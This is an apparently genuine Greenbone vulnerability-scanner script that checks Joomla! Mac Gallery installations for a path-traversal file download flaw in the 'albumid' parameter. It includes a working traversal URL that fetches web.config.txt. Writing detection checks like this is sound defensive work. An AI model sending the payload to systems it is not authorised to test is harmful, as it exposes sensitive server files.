Joomla! Mac Gallery Component Arbitrary File Download Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804772");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2014-10-07 11:56:04 +0530 (Tue, 07 Oct 2014)");

  script_tag(name:"qod_type", value:"remote_vul");

  script_name("Joomla! Mac Gallery Component Arbitrary File Download Vulnerability");

  script_tag(name:"summary", value:"Joomla! Mac Gallery Component is prone to arbitrary file download vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to download arbitrary file or not.");

  script_tag(name:"insight", value:"Flaw is due to the index.php script not
  properly sanitizing user-supplied input specifically path traversal style
  attacks (e.g. '../') to the 'albumid' parameter.");

  script_tag(name:"impact", value:"Successful exploitation may allow an attacker
  to obtain sensitive information, which can lead to launching further attacks.");

  script_tag(name:"affected", value:"Joomla! Mac Gallery Component version 1.5
  and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to
a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/34755");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/128341");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_http_detect.nasl");
  script_mandatory_keys("joomla/detected");

  script_require_ports("Services/www", 80);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if (!http_port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:http_port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/index.php?option=com_macgallery&view=download&albumid=../../web.config.txt";

if (http_vuln_check(port:http_port, url:url, check_header:FALSE, pattern:"<configuration>",
                    extra_check:"Joomla! Rule")) {
  report = http_report_vuln_url( port:http_port, url:url );
  security_message(port:http_port, data:report);
  exit(0);
}

exit(99);